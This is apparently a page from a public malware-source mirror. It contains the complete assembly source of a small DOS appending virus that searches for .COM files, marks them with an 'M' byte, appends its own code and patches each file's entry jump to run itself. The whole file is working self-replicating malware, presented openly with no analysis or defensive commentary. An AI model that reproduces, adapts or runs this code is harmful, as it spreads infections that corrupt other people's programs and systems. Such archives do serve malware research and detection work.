mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
99 lines
1.2 KiB
NASM
99 lines
1.2 KiB
NASM
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;Small appending virus - 143 bytes
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CSEG SEGMENT
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ASSUME CS:CSEG, DS:CSEG
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ORG 100h
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Virus_Length equ End_Virus-Begin_Virus
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Start:
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db 'M',0e9h,0,0
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Begin_Virus:
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call Delta
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Delta:
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pop bp
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sub bp,offset Delta
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push si
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push si
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mov ah,1ah
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lea dx,[bp+DTA]
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int 21h
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pop di
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lea si,[bp+OldBytes]
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movsw
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movsw
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mov ah,4eh
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mov cx,7h
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lea dx,[bp+ComMask]
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Find_Next:
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int 21h
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jc Return
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mov ax,3d02h
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lea dx,[bp+DTA+1eh]
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int 21h
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xchg ax,bx
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mov ah,3fh
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mov cx,4
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lea dx,[bp+OldBytes]
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int 21h
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cmp byte ptr [bp+OldBytes],'M'
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je Close_Find_Next
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mov ax,4202h
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xor cx,cx
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cwd
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int 21h
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sub ax,4
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mov word ptr [bp+NewBytes+2],ax
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mov ah,40h
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mov cx,Virus_Length
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lea dx,[bp+Begin_Virus]
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int 21h
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mov ax,4200h
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xor cx,cx
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cwd
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int 21h
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mov ah,40h
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mov cx,4
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lea dx,[bp+NewBytes]
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int 21h
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Close_Find_Next:
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mov ah,3eh
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int 21h
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mov ah,4fh
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jmp short Find_Next
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ComMask db "*.COM",0
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NewBytes db 'M',0e9h,0,0
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OldBytes db 0cdh,20h,0,0
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Return:
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mov ah,1ah
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mov dx,80h
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int 21h
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ret
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End_Virus:
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DTA db 42 dup (?)
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CSEG ENDS
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END START
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